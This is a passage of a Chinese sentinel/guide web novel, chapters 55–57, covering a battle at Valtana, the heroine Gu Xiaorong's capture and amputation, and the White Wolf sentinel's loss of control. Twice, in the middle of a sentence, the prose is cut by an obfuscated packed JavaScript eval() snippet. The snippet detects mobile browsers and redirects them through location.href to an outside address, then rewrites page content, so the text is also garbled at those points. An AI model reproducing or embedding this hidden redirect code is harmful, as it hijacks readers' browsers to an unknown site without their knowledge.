卡的西北,瓦尔塔那的南部,在上一次被北方突破之后又重新回归到南方军的势力范围,后者的下一个目标就是重新夺回瓦尔塔那,继而迫近维塞克城。 女哨兵收起了摄影器,轻灵地转身落下黑色的城墙,古老的防御工事已经被炮弹轰塌了大半,这里是罗塞恩的一处僻静角落,看上去南方军还没有来得及将防御设施搭建完善。 “怎么样?”回去的路上,程浩偏头问道,他们这次刺探行动十分隐蔽,无人察觉。 “要通知布雷塔妮少校,敌方准备采用A-0级作战模式。”莉莉神情严肃地处理着资料,将刚刚录下的视频实时传回公会。 正羽和程浩沉默着交换了目光,A-0级之前只存在于他们的构想里,指:黑暗向导(A+)+狂化哨兵(A+)+传统单体哨兵向导( S )。 由于黑暗向导几乎可以覆盖数百位A级哨兵,目前这样的模式还从未在战场上出现过,如果出现了,就说明那位哨兵的力量非比寻常,黑暗向导无法对其全然控制,需要单独的向导以做辅佐。 “是S级,很年轻。”莉莉目不斜视地肯定了身旁两位的猜测。 “向导……”程浩抱着胳膊,靠在冰冷的战机内壁:“是顾小绒?” “嗯。”莉莉没有否认。 得出这个结论很容易,毕竟即使真的有S级哨兵出现,能够与之匹配的向导也十分稀少,整个帝国从南到北数完,匹配过S级哨兵的向导也就那几个。 在中央公会的时候,程浩和莉莉的交情原本仅限于帮她给周烨递情书,递着递着双方就熟络了起来,莉莉对待感情认真,对待任务更加认真,工作起来近乎是一台没有感情的机器,她刚刚描述顾小绒的语调仿佛那是一个毫不相关的陌生人,或者更准确说,是敌人。 “看来一切都在少将的预想中。”正羽闷声说道,提起顾小绒,他和程浩心里还是不太痛快。 “南方军看上去很快就要进攻瓦尔塔那了。”莉莉已经传输完了信息,语调仍旧严肃:“如果胆子大一点,他们可能连阿尔塞拉一起进攻。” “我赌重头戏在瓦尔塔那。”程浩翻检着自己配备的微型电磁炮,好像这样就可以掩饰掉自己的一部分情绪:“等长官发话吧,其余地方的布控都完成了吗?” “没有问题,已经完成上报了。”莉莉答道,瓷白的面容冷若冰霜。 “让那个叛徒好好尝尝背叛的代价。”莉莉的向导也开了口,苍白天光的逆影下,他的喉结微微滚动。 “……”程浩和正羽没有再说话,气氛陷入一片岑寂。 黑夜如约而至,明月高悬,亮如白昼。 南方的风不似北方那般凛冽,此刻如水一般温润地流淌过脸颊,可是于顾小绒而言,如此细微的浮动却仿佛刀割一般疼。 “放松点。”她不由地使用精神力提醒她的哨兵,因为此时他们的感官牵拉在一处,她与哨兵所有的知觉是共感的。 “哦好……”芬尼克有些紧张,但立即听话地答道。 新分化的哨兵甚至还没有完全控制住自己的五感,就被仓猝地扔到了战场。他们的连接并没有太深,远远不到她与韩奕的程度,可是此时也没有更多的时间交给他们磨合。 顾小绒抬头平视前方,她能看见一只温顺的小象缓慢地走在他们身前,月光如银,照映着它年轻而结实的身躯,长长的鼻子甚至还有些顽皮地晃了晃,摆过眼前晃动的草木。 这头刚刚成年的小象,就是芬尼克的精神体。 通常来说,精神体是哨兵本人性情、人格与战斗风格的具象体现。如同韩奕是黑豹,希里斯是白狼,都是极具攻击性的掠食者。S级哨兵很少有温顺的食草动物,甚至连A级哨兵都是以攻击型动物为主。 顾小绒没有再出言斥责他,只是放出了自己的知更鸟探查线路。她这几天对他已经够疾言厉色了,可这本质上也改变不了什么…… 心脏不舒服地跳动着,黑暗中仿佛一柄利剑高悬在头顶,随时将会落下,她说不清楚缘由,只本能似的感知到一股危险的气息。 这次的任务,也许比想象中的更加艰难。 55. 第五十五章 瓦尔塔那已在双方不断的拉锯中被轰成了一片废墟,曾经巍峨的建筑只剩下焦黑的残体,临时的防御设施应该还是在原处的地底,这里已经没有了任何战略纵深,也只有原处的地下堡垒尚有一丝掩护。 根据往日的经验,顾小绒迅速分析出了北方可能潜伏的地点与方位,她拉住芬尼克暂时隐蔽,让狂化哨兵先去消耗对方。一股不舒服的、黏腻湿滑的东西轻轻拂过他们的头顶,芬尼克一阵哆嗦,白莹的水母触角正横亘在他们的上方,若有似无地波动着。 黑暗向导无所不在,如同潮水一般缓缓起伏,湮灭过一切。 她听见黑暗中传来半声低吟,随后是碰撞声,很显然第一波狂化哨兵已经同北方短兵相接。她感觉到头上悬停的触角忽然间一阵紧缩,一阵剧烈的力量涌动如同潮汐般袭来,这是黑暗向导发动的第一次攻击。 “走。”她立即对哨兵说到。 明亮的电磁炮将无垠的黑夜划破,旷远的爆破声响彻耳际,随后是贴身而来的子弹声,光柱被一道道打开,如同利剑般直插天穹,战斗彻底拉开了序幕。 雪亮的蓝光终止在一道看不见的能量屏障上,无声地爆炸碎裂开来,北方强大的战备力量此时已经启动,必须尽快毁灭防御设施。 芬尼克的身形虽然高大,真的动作起来速度却很迅捷,有了黑暗向导与狂化哨兵的掩护,他们一路行进得很快。只有一位哨兵突进到他们的面前,他的信息素有些陌生,顾小绒不认识。对方的战斗技巧十分纯熟、力量与敏捷度都很高,完全没有战斗经验的芬尼克最开始有些陷入被动,后面凭借着绝对的力量碾压才堪堪避过,将那哨兵推下了城墙。 另一边,顾小绒与对方向导的对决也宣告结束,那也是一个年轻的小伙子,看起来和芬尼克差不多的年纪,应该也是才被调来前线不久。顾小绒是实打实跟在S级哨兵身边被磨炼出来的,这些新人哪里能是她的对手,一套紧密的精神输出伴随连环飞踢,对方便同他的哨兵一样直接跌了下去。 十多二十来米的高度,应该是没有性命之忧,顾小绒朝着黑暗的地底望了一眼,没有时间细想,拉上芬尼克继续朝着目的地行进。 翻过城墙后,里面已灯火通明,双方士兵、哨兵与向导混战成一片,枪林弹雨、烽火连天。 看得出来,黑暗向导刚才的第一波精神力压制给了北方重创,但短短的两秒持续没能给对方造成根本性的伤害,对方在缓过来之后迅速反扑。 他们才刚刚进去,一位北方的哨兵便突袭了过来,想要拔掉他们这边的武力输出。普通士兵在近距离面对哨兵时几乎没有生还的机会,那个可怜的士兵还没来得及将枪口对准,哨兵便一把折断了枪械,下一秒他就被扔飞了出去,头直直撞到城墙上、鲜血迸射。 芬尼克不得不再次挺身而上,这一番的缠斗又花费了不少功夫,等到最后他们行进到地底深处时,芬尼克已经消耗了大量体力。 顾小绒不得不给哨兵来了一针稀释过的催化剂,让哨兵进入短暂的亢奋状态,感知不到疲惫。越是接近目的地,潜伏的敌人也越是危险,不知道这一次他们会遇上谁……顾小绒惴惴地想。 长久的沉寂里,向导的全身都紧绷了起来,她感觉到一股强大的杀意潜伏在她的周围、如同幽灵一般轻灵地游走,她知道对方如若现身,必然要让自己瞬间殒命。 两秒漫长的煎熬后,一道凌厉的身影果然闪现在她的身后,因为有了提前的感知,芬尼克立即回防,双方的长刀碰撞在一处,发出一声清脆而尖利的声响。 顾小绒一个贴地翻滚,避开了哨兵的进攻,她的体力也消耗了很多,不得不给自己注射兴奋剂,此时药剂已然生效,她感到身体发烫、呼吸急促,感官变得尖锐而亢奋。 女哨兵的刀法凌厉果决,在芬尼克的身上拉了好几道口子,顾小绒一边抱怨此时悄无声息的黑暗向导,一边朝着对方发起了进攻。向导素与信息素剧烈碰撞,女哨兵发出一声短促的低吟,芬尼克立即反击,S级哨兵与A级的力量本就不是一个等级,被他一撞,女哨兵几乎是直接飞出了十米远。 “莉莉?”在发动精神力攻击的那一刻,顾小绒便感知到了对方的信息素。 女哨兵摘掉了她的护目镜,露出了一双熟悉的、绯色的眼眸:“好久不见,小绒。” 鲜血从她的额角流淌而下,如同一道蜿蜒的河流。她的向导立即回防,将她护在身后,双方隔着铁制廊桥的两端遥遥相望。 顾小绒僵直在原地,她无法对莉莉下杀手,也无法不执行任务。芬尼克仍旧是用探寻的眼神望着她,等待着她的决定与命令。 一位狂化哨兵的忽然现身打破了僵局,莉莉和她的向导立即同对方缠斗至一处,顾小绒这才缓了过来,轻轻碰了下芬尼克的衣角:“走。” 摧毁防御工事,这才是他们的核心任务。 第二位狂化哨兵也跟了过来,她听见了身后莉莉的嘶鸣,刀锋割破血肉的声响传来,浓烈的血腥味浸满了鼻尖。防御工事的大门就在她的眼前,顾小绒继续走着,紧接着听见了第三、第四个狂化哨兵落地的声响,她的手紧握成拳,指尖刺破掌心。 忽然之间,一切声息都寂静了下来。 纷乱的脚步声与沉闷的搏斗声戛然而止,一切都彷如定格,连同身旁的爆破似乎都停滞了。在迸射四溅的火光里,顾小绒的身体如同石化,S级的敏-感度让芬尼克几乎在同时与她一起回头。 数道粲然的刀光在他们眼前绽放开来,在那短短的、窒息般的瞬间之后,时间重新恢复了流动。眼前的四个狂化哨兵身形一顿,紧接着他们的身体便四散碎裂,一时间残肢与血浪汹涌而来,将顾小绒浑身笼罩在一片血雾中。 出于哨兵的本能,芬尼克快速上前,想要挡住那片快到看不见的黑色残影。 只见那道黑影手中的长刀一横一挑,短短0.2秒的时间,一切便终结了。刀刃自芬尼克的胸腔中贯穿,将他整个人凌空举起。在满目汹涌的血雨里,顾小绒终于感知到了那股熟悉的信息素,是雪松的味道。 韩奕刀尖一挑,将芬尼克重重甩开,年轻哨兵的身体被毫无声息地扔到了一边,铁质的地板猛地一颤,发出沉闷的声响。 那一瞬间,似乎一切都已远去。 因为精神力与哨兵连接在一起,血色的剧痛贯穿了顾小绒的脑海,她痛到几乎无法思考、无法呼吸,只能一动不动任人宰割地站在原地。 她的脑海中随后闪过了很多思绪,首当其冲的便是她还未完成的任务。在那短短的1秒之内,她有本能地考虑过逃跑、或是用精神力攻击对方,但这些思绪的碎片快速地掠过,她一个也没有将它们抓住。 黑暗向导的第二波攻击终于在此时到来,她能感觉到周遭能量的异变。 带着那么一丝渺茫的希冀,她的目光终于颤抖着抬起,韩奕正缓慢地朝着她走来,他的步伐平稳有力,黑色的战靴踩过地上一片狼藉的血肉,利刃闪烁着寒光,在黑暗向导的攻击下,他的动作竟然没有丝毫的减缓。 修长的指尖握着黑色的刀柄,皮革手套的缝隙中渗满鲜血。 原来,这就是完全体哨兵。 她的大脑只来得及得出一个这样的结论,就坠入了空白。 熟悉的信息素让她在靠近他时几乎微微发抖,她不敢抬头看他,横亘在他们彼此之间的,唯有盛大的背叛和无可逾越的深渊。 刀尖朝着她缓缓逼近,死亡无声地扼住了她的咽喉,她什么都无法思考、也无法辩解,只能平静地接受他所有的愤怒与恨意。 对不起……她唇齿微动,却发不出一丝声息。眼前一片迷蒙、视线混沌,她什么都看不见,也听不见了。 原来,这就是死亡么。 顾小绒缓缓垂下头,闭上了眼睛。 “啊——!”一声猝然的尖叫一闪而逝,顾小绒睁开眼。 就在刚才,莉莉被一个狂化哨兵扑倒,坠下楼去。眼前那道黑色的身影便迅速回退,只是一眨眼便消失在了她的面前。 在急剧的下坠中,莉莉感觉到自己被一个坚实有力的臂膀猛地抱住,雪松味盈满鼻尖,她睁开被血模糊的双眼,只见韩奕一手将她揽住,一手将攀爬爪射入了墙体。 少将的身体凌空侧转,长腿一扫踢开了从他们头顶砸下的钢筋混泥土,顺便给了身旁的狂化哨兵一脚。 于是很快,她便看见那哨兵坠落了下去,在遥远的地底变作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055894|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一滩破碎的血。 莉莉剧烈喘息着,她失血过多,已感到有些晕眩。韩奕将她抱了上去,她的向导此时也赶了过来。 “长官……对不起……”女哨兵声音有些发颤。 “你们先撤。”隔着黑色的护目镜与防护面罩,她看不见韩奕的眼神,只听他淡淡吩咐道。 “是。”她的向导将她抱起,其余的队友与医疗人员也正在赶来,在黑暗向导的第二波攻击后,北方仍旧顽强地、重新占据了上风。韩奕将黑刃上的血甩在地上,收入刀鞘,随后拔出了腰间的手枪,朝着某个方向果断开枪。 莉莉已缓过了最艰难的时刻,视觉重新恢复,她能清楚地看见那颗子弹划过遥远的距离,掠过无数穿插的钢材与柱体、最后从一个窄小的缝隙中穿过—— “!!”顾小绒发不出一丝声音,那颗子弹打进了她的右小腿。 她正扛着昏迷的哨兵艰难撤退,几乎已经挪到了指定位置边缘,这一发子弹使得她失去了所有的力气,身体如同被尖刺贯穿在原地。 可她知道,如果在这时倒下,那么就真的没有存活的可能了。救援的战机已抵达了他们的下方,顾小绒在剧痛中咬牙将芬尼克推了下去,随后用尽全力、将自己摔下通道。 身体与战机的地面狠狠撞击,过量的剧痛终于将她的意志从身体中剥离。 黎明从东方降临,金色的光芒从云层间倾泻而下,太阳重新升起,将黑色的地狱重新带回人间。 因为黑暗哨兵的入场,南方此次的突袭最终以失败告终,黑暗向导总共发起了三次精神力攻击、总计时间9.6秒,却丝毫无法撼动黑暗哨兵分毫,在后半场的作战里,仅韩奕一人便斩杀南方狂化哨兵68人,剩余34名也被北方军各自击杀或者俘获。 这是本纪元里第一次黑暗哨兵与黑暗向导的实战对决,战争的结果与数据都将载入史册。 而在另一侧的阿尔塞拉,在北方中央公会向导总负责人布雷塔妮的率领下,共击毙南方哨兵34人、俘获45人。程浩与正羽也在其中,几乎是收拾完战场后,便马上奉命将胜利的消息传到了瓦尔塔那。 经过一夜的血战,双城之战仍旧以北方的胜利结束。 值得一提的是,“2号”黑暗向导是同时降临在瓦尔塔那与阿尔塞拉的,“她”可以在一定限度内跨越空间、两地作战。而北方也终以高强的战斗素养,证明了黑暗向导并非不可战胜。 只是,北方也同样付出了巨大的代价。黑暗向导的三次精神力压制,总共导致了32名哨兵与19名向导的死亡,剩余伤亡人数还在统计中。 清晨6点时,东部战线也传来捷报,在昨夜卡利斯特军港的激战后,北方同样取得胜利、击退了南方的进攻。甚至因为有了莱安、周烨和华峥三位强大向导的存在,“3号”黑暗向导发起的精神力侵袭次数只有两次,他们甚至在第二次时尝试反侵入对方的精神图景,迫使“她”终止了攻击。 因此东部的伤亡情况也较轻一些,死亡哨兵26人、向导12人。 除了黑暗向导之外,两位S级哨兵楚飞与言韶也正面击败了白狼希里斯,虽然最后还是让他逃了,但仍旧对他造成了重创。 从之前致幻剂制造设备的损毁情况,可以推算出,南方想要供养更多的黑暗向导、完全修复曾经的产业设备,仍旧需要至少6个月的时间,而这6个月已足以让北方继续保持优势。 玫瑰色的朝阳浸染在苍白的断裂墙体上,黑色的身影遥遥伫立在远处,沉默地收取完所有的汇报。 韩奕甚至还没有来得及换下前一晚的作战服,他的身上浸满了血浆,此时都已凝固在了黑色的战衣上,浓烈的腥味像是要将他有内到外地包裹、浸透。 他的目光无意间朝下扫去,一夜血战之后,士兵们正清理着狼藉的战场,一位年轻向导正在给他的哨兵包扎伤口,在清晰的视觉下,能看见那位向导的指尖有些细微的颤抖,看上去笨拙而小心。 少将深黑的双目冷淡荒芜,平静得没有一丝光泽。在看完瓦尔塔那、阿尔塞拉与卡利斯特各自的战报之后,他才点开了中央公会发来的讯息。 「报告长官,链接已获取,请作指示」——曼琳。 56. 第五十六章 强烈的光芒穿刺过紧闭的眼眸,顾小绒微微蹙起眉,她的身体像是灌了铅一般沉重,几乎无法控制。她仍旧没有力气睁开眼,一股强烈的难受直涌心间,她想要呕吐,于是挣扎着试图支起身子。 手没有摸到预想中的床沿,而是被另一只温暖有力的手裹住,她挣扎不开,急得手脚直蹬,那股力道才减缓了些许。等她挣开了桎梏,稍稍一偏过头去,就立即无法控制地吐了一地。 强烈的恶心与眩晕,随着这股歇斯底里的倾泻逐渐减轻,她满眼的热泪与冷汗交织,一滴滴落了下去。 “芬尼克……”剧烈的痛苦里,向导仍然牵挂着她的哨兵。 一张湿润温暖的帕子轻轻触碰到她的脸上,替她仔细地擦拭,她能感觉到那是一只宽厚修长的手,虎口与指尖带有薄薄的茧,似乎从刚才开始,那只手就一直将她揽在怀里。 一股淡淡的古龙味沁入鼻翼,她终于有了些力气,勉力将眼睛睁开了一丝缝隙,模糊的视线能勉强识别出那是一件军服,同北方的仪制的不同,胸章与绶带的样式与位置也不同……她想定睛细看,又感到一阵强烈的难受,不得不重新闭上眼。 那只温暖的手擦净了她吐得一塌糊涂的脸,转而重新拢住她的头,将她揽进怀里。 “晏少,您的衣服……”头顶上方传来一位士兵有些发颤的声音。 “不碍事,等会儿换。”晏泽用极低的气音回答道,他的目光自始至终没有离开怀中的女孩。感觉到顾小绒的额头碰到了冰冷的徽章,有些不太舒服,他便将胸膛悬挂的那些坚硬的物件全都取了下来。 来电显示:「银雀」 通知「尾鸦」:已开始执行任务。 潜伏目标:南方军部上将、晏泽。 微弱的信号线消逝在寂静的黑夜中,如同落入湖心的石子,在短暂的涟漪后悄无声息地消逝,这是顾小绒的意识完全消散前拼尽全力发送的消息。 再次醒来时,时间几乎已到了傍晚。 顾小绒从雪白鹅绒软枕的环抱中醒来,一股淡淡的花香浮动在空气中,她转头望向窗边,在一层薄薄的半透窗帘外,紫色的天际正燃烧着最后的余晖,云层被勾勒出金色的柔边,仿佛能看见微风轻柔流淌过的痕迹。 向导已许久没有被这般温存的景致笼罩,过了许久才收回了视线。这里不是医院、看上去也不是前线,这是一间不大却很温馨的房间,她有些惊异地坐起身来,而这一番动作让她立即感觉到了身体的异样,她猛地将被褥掀开。 眼前的画面剧烈地侵袭着她的大脑,她的右腿自膝盖以下已全部消失不见,那里还紧紧裹着厚重的白色纱布,看上去才刚替换不久。 这不是真的,她眼神放空,不可置信地呢喃着。一旦成为残疾,她将再也不能重返战场,她的任务…… 疼痛这才从麻痹的知觉中苏醒,撕心裂肺的剧痛从断肢的端口蔓延开来,很快细密的冷汗便浸透了她的全身。她僵硬地蜷缩起身子,将自己裹了起来,除了阵阵发抖之外,她什么都做不到。 门“咔哒”一声打开,顾小绒认得那股向导素,古龙的主人推门而入,他只穿着一件平日的家居服,看上去神情关切。 “醒了?”晏泽走到床边,伸手去抚顾小绒冷汗岑岑的额头。 身体痛得发抖,她已没有力气躲过那人,只能任由他将自己的头拢在手心。 她知道那一枪是韩奕开的,她没有想过自己在有生之年还能遇见他。这把锋利的黑刃曾经是她最坚实的守护与依靠,如今刀尖却已调转方向、直直对准她的心脏。 短短两秒的生死之间,她不知道自己是怎么活着从韩奕手下逃走的,仿佛一切只是一场幻觉,是她转瞬即逝的妄念。 唯有截肢的痛楚提醒着她那是真的,他真真切切地来过,赐予给她最深切的恐惧与痛苦。 顾小绒的眼角几乎浸出泪水,她紧咬牙关,忍住濒临崩溃的情绪,许久之后才挤出一句:“芬尼克……他……” “他还活着。”晏泽轻抚着她的眉眼,神情温柔得仿佛春后化开的池水:“我该感谢你替我救下一位S级哨兵。” ……还是从一位黑暗哨兵的手下。 最后那句话没有出口,他们彼此心知肚明。 顾小绒强忍着疼痛,将思绪从受难的肉-体剥离,不用问也知道,有了韩奕的存在,双城之战败局已定。也不知道那两位“黑暗向导”的战时表现如何,但从晏泽此时的态度看,他应该是极其需要补充新的向导,那么自己便有很大的几率靠近“黑暗向导计划”…… “那个…黑暗向导……影响不了韩奕,他的精神力……”她加重了几分喘息,让字句显得更加破碎,以此遮掩住自己的意图。 “没事的,我知道。”晏泽握住了她冰凉的手,打断她的话道:“完全体哨兵可以脱离向导的辅助,自主抵御精神力侵袭……这是意料之中的事。” “……” 其实,从S级哨兵仍旧需要传统向导单兵辅佐就可以看出,所谓的“黑暗向导”统领的范围虽大,单体力量却仍旧不够。也许“她”有足够的力量压制住对方的A级向导与哨兵,可对于S级和以上的哨兵,就暴露出明显的力量不足…… 目前的两位“黑暗向导”的力量比之“蝴蝶”都差之甚远,而“蝴蝶”仍旧杳无音信。 “希里斯呢……”湿透的睫羽微微颤抖,她缓了缓,随后又补充道:“东部战线那边……情况如何?” 如果她的推论是正确的,那么S级哨兵将是这场战争最终的变数,芬尼克已然重伤,如果再失去希里斯…… 晏泽闻言,平静地摇了摇头,目光无悲无喜:“希里斯出了些事,暂时不能过来接你,先在我这边养好伤吧。” “……”不可一世的白狼,竟也有失手的一天?顾小绒心下暗惊,不过她没有力气再操心他,只要有机会待在晏泽身边,哪怕是以身涉险,她也一定要执行任务。 心中这样想,面上却不能露出来,顾小绒偏过头,最大限度地躲过了那只试图抚摸自己的手。她能感觉到晏泽的目光明显一暗,沉默地将手收了回去。 欲情故纵这一套,她还是跟着希里斯学的,顾小绒闭上眼,暗自叹到。 薇拉勉力睁开眼,却被血痂整个糊住了视线,她不得不腾出手来,将满脸的血擦了擦。准确来说,她只能抬得起手肘,因为此时她残存的所有力量,都要拿来支撑起身旁重伤的哨兵。 希里斯双目紧闭,几乎没有了气息,鲜血浸透了他的作战服,分不清是敌人的还是他自己的。 这样艰难的路程持续了足有十分钟,才得到友军的救援,直到另外两位哨兵将昏迷中的白狼接过,薇拉才几乎脱力地跪伏在地上,她大口地喘息着,冷汗与血交融在一起,淋淋漓漓地落下。 实在是没有想到,自己竟然会有差点死在向导手上的一天,若不是那人的精神力震到自己的头现在都还在痛,她肯定以为对方这身手指定是A级哨兵。更别提那个可怕向导的哨兵还是个S级,甚至…连老大都…… 薇拉的唇齿微微发着颤,口中一片血腥,她感觉到有人上前来将她扶起,这才一瘸一拐地站了起来。 全身都痛,从腹部到胸口,心脏被牵拉着、每一下的跳动都撕扯着四肢百骸。薇拉闭上眼缓了好几秒,还没有从劫后余生的后怕里缓过劲来,就听到了前方传来了一阵惊呼。 “老大,你怎么了……啊!!”惨叫声猝然响起,又戛然而止,那是一声响亮的、血肉与骨骼碎裂的声音。 薇拉浑身冰凉地抬起头,只见刚刚上前搀扶希里斯的两个哨兵已直直飞了出去,各自重重撞到墙上,墙体瞬时被撞破了一个缺口,鲜血迸射了满地。 希里斯伏在地上,屈起一只膝盖支撑起身体,他正大口喘息着,冷色的眸子变得一片血红。 鸦片味的信息素如同狂涌的海浪一般,顷刻间吞噬了空间内所有的氧气。 女哨兵的大脑只迟滞了半秒,便立即大声呼喊道:“S级哨兵失控!!一级戒备!!” 她的声音近乎凄厉,这里是前线战营,不是固若金汤的泽卡,一旦希里斯真的失去控制,他可能一个人杀光这里的所有哨兵。 她跟随了白狼这么多年,这是第二次见他濒临失控的状态,第一次经历时的恐怖仍旧清晰刻骨。被她刚才那样一喊,在场的哨兵们顿时惊慌失措,凌乱的枪械声、步伐声随即响起。 薇拉立即朝着一旁的医疗箱扑去,她的大脑飞速运转,一幕幕回想着希里斯这段时间以来的异常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055895|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他最近的身体状态似乎很不好,药量也加重了……该死,自己怎么没有早一点发现。手抖抖索索地翻找着药剂,好久之后才找到了一瓶镇静剂。薇拉将药瓶紧紧攥在手心,她需要立即将这瓶药注射到希里斯的脖子里,否则后果不堪设想。 白狼是经过手术改造后的哨兵,为压制住S级过于尖锐的五感、抵抗住外部的精神力侵袭,他的大脑中嵌入了一块金属夹片,这样的手术已与狂化哨兵高度类似,因此希里斯需要常年注射特制的镇静剂与稀释过后的催化剂,他这两年药量越来越重,对催化剂的依赖也越来越大…… 薇拉正准备拿起针头,却看见希里斯缓缓支起了上半身,鸦片的气息愈加浓烈,如同鞭子一般狠戾地抽打在薇拉的身上,她几乎是本能地哆嗦了一下,竟一时不敢上前。 “当啷”一声清脆的声响从身后传来,很明显是有人突破了哨兵们的防守圈,推开了已经关闭的铁门。 薇拉回头一望,只见一个身着战服的向导正朝着这边匆匆赶来,她生得面容白皙、美丽非常,一双红宝石般的眼眸深邃剔透、婉转流光,深红的波浪长发被高高束起,盘踞在小巧的颅顶。她只穿着寻常战服、未施粉黛,却像是宝石一般熠熠闪光。 她快步而来,那对精致的眉宇紧紧锁着,眼神里全是担忧与心疼。 “夏姐?”薇拉脱口而出,还没有来得及做出反应,那向导就一把拿过了她手中的镇静剂与针头,朝着希里斯走去。 “夏姐,别去!危险!!”薇拉反应过来,条件反射地拉住了对方的手臂,试图阻止她。 “快放开我,过来帮忙。”被称作“夏姐”的向导语气坚定,随后不等薇拉做出回应,她已将药剂快速抽入了针筒,朝着希里斯走去了。 晦暗的室内,唯有一丝雪亮的银光自顶部照射而下,在无数荷枪实弹的哨兵包围下、无数枪械瞄准的狙击红点里,红发向导走到希里斯的身边,轻轻贴住了他的脸。 白狼已被过载与失控的痛楚折磨到了极限,他颤抖着,凌厉的面容满是冷汗,紧咬的唇齿已抑制不住地泄露出哀鸣与低吼。只是在被熟悉的向导素抚-慰后,那双血红的眼竟硬是恢复了一丝清明,尽管她的向导素已经很浅,浅到近乎无可寻觅…… 哨兵的手臂青筋暴起,他闭上眼,用尽一切克制住快要将他逼疯的痛苦,向导温柔地捧着他的头,在这一刻将针剂果断推入了他颈后的脊髓中。 寂静里,唯有玻璃坠地碎裂的声音。 希里斯仍旧发着抖,狂暴的信息素却已然冷寂了下来,向导支撑着他摇摇欲坠的身体、将他的头轻轻拢入怀中,在他的额前落下轻吻。 希里斯睁开水雾氤氲的眼,那双眸子已褪去了猩红,只剩一片缄默与安然。 银色流光勾勒着他们二人的面容,白狼的目光长久而温存地落在他的向导身上,他们彼此紧紧相依,直到他终于从痛苦中缓缓抽离、平复了喘息。 见危机解除,薇拉尴尬地撇开了目光,其余哨兵也十分有眼力见地撤走了枪械,朝着外围防守去了,撤退时候顺便抄走了那两个被拍飞的倒霉蛋。 “薇拉,可以过来帮一下忙吗?”直到被点了名字,女哨兵这才赶紧捧着医疗箱上前。 “抱歉,夏姐……”她一边熟练地掏出纱布与碘伏,一边真心实意的道歉:“我以为你们要接吻……嗯…打扰了……” 见她竟然还有力气开玩笑,名叫夏若的向导也不由笑了,刚才她也惊出了一身冷汗,此时那张精致的面容舒展开来,顿时夺魂摄魄、明丽逼人。 她们熟练地配合着,将希里斯放平在单架上,替他包扎好了伤口。整个期间白狼都轻轻阖着眼,他看上去十分疲惫、几近透支,好几分钟后才开了口。 “向导……”他的声音低沉暗哑,如同滚过粗粝的沙石:“顾小绒呢?” “啊?这……”这个问题似乎有些超纲,薇拉也才刚从战场下来,她也不知道中部战线的具体情况,不过很快,她就明白了对方的意思:“那个……晏泽上将去往瓦尔塔那了。” “……”希里斯闭上了眼。 他看上去仍旧痛得不轻,良久后才缓了过来,声音又恢复了往日的冷淡:“顾小绒不能有事,立即去找晏泽要人。” 57. 第五十七章 这些日子里,顾小绒经常做一个梦,她梦见自己躺在冰冷的培养皿里,浑身赤裸、插满导管,无数药液流淌进她的身体与大脑,她只感觉到一片窒息与冰冷。 这样的感觉,仿佛介于生与死之间,黑暗永恒地绵延,如同无间地狱一般不得解脱。 但每次最难受时,她总是能及时地从噩梦中醒来,而后冷汗岑岑地再度入眠。 因为断腿,顾小绒无法移动自己,养伤的日子里她只能躺在这个房间,陪伴她的仍旧只有一个收音机,最近电台的前线播报寥寥无几,想来战况仍旧不理想。 她原以为晏泽会派遣哨兵看守她、或者差遣医生过来看护她,却没想到每次亲力亲为的都是上将本人,她用精神力探寻过多次,这个房间、甚至连同整个城堡都没有士兵守卫,这极大地出乎了她的预料。 没错,即使是截肢躺在病床上无法动弹,间谍背负的任务与职业素养,仍旧使得她用精神力将这栋建筑里里外外地翻了一遍。她确信这是一栋有些年头的城堡,地理位置未知、但气候十分暖和,除了好几道无法扣开的黑门,她已将能探寻的地方都探寻了一遍。 这还不是让顾小绒最意外的事,她没有想到再次见到晏泽时,对方已经换了一身衣服,不再是气宇轩昂的军装,而是一身肃穆洁净的白大褂,这都是北方情报中完全没有探听到的信息。 见顾小绒的神情,上将的唇角微微弯起:“我本来就是医生,很惊讶吗?”说着,他已将那只断腿轻轻抬了出来,放在无菌纱布上,开始给她换药包扎,他的精神力轻轻拍来,有种海浪般的宁静与辽阔。 顾小绒被那股力量轻柔地抚-慰着,虽然仍旧能感觉到针线在血肉中穿插,却已没有再像前几日那般痛苦。 “躺了这么些天,要不要出去走走。”晏泽重新包扎好了伤口,又将被子轻轻盖了上去,目光轻柔地看着她。 “……”被看穿了心思的向导没能做出回答。 瞧她的反应,晏泽不掩笑意,他先是打开柜子,从里面拿了一身衣服给顾小绒换上,随后推来了一个轮椅。在替她穿衣的过程中,上将看上去动作十分娴熟,他总能绕过她的伤口,指尖轻柔而灵巧。顾小绒原本想婉拒对方的帮忙,可体力实在不支,最后只能任由他将自己抱上轮椅。 “怎么样,坐着舒服吗?”为了让她好受些,他在轮椅上铺了厚厚一层软垫。 “我……很舒服,谢谢你。”顾小绒已经被太多意外填满,她有些紧张地回答道。 如果整个城堡没有哨兵和士兵看守,那只能说明一件事,晏泽对自己的力量十分自信。不过也是,她现在已经是一个肢体残缺的向导,若是按照北方的标准,此时她应该已经被迫退役了。 她默不作声地打量着在身后推着她走的上将,那人和希里斯在一起的时候,虽然看似温和,却仍旧有一股冷傲与锋芒蕴藏眼底,而此时此刻,在城堡下温暖的花园里,他眼底的那股凛厉彻底消散了,取而代之的只有平静与温和。 也许,在没有必要的时候,这个人也终于卸下了自己的面具,虽然她看不清他露给自己的到底是真实,还是另一副面具。 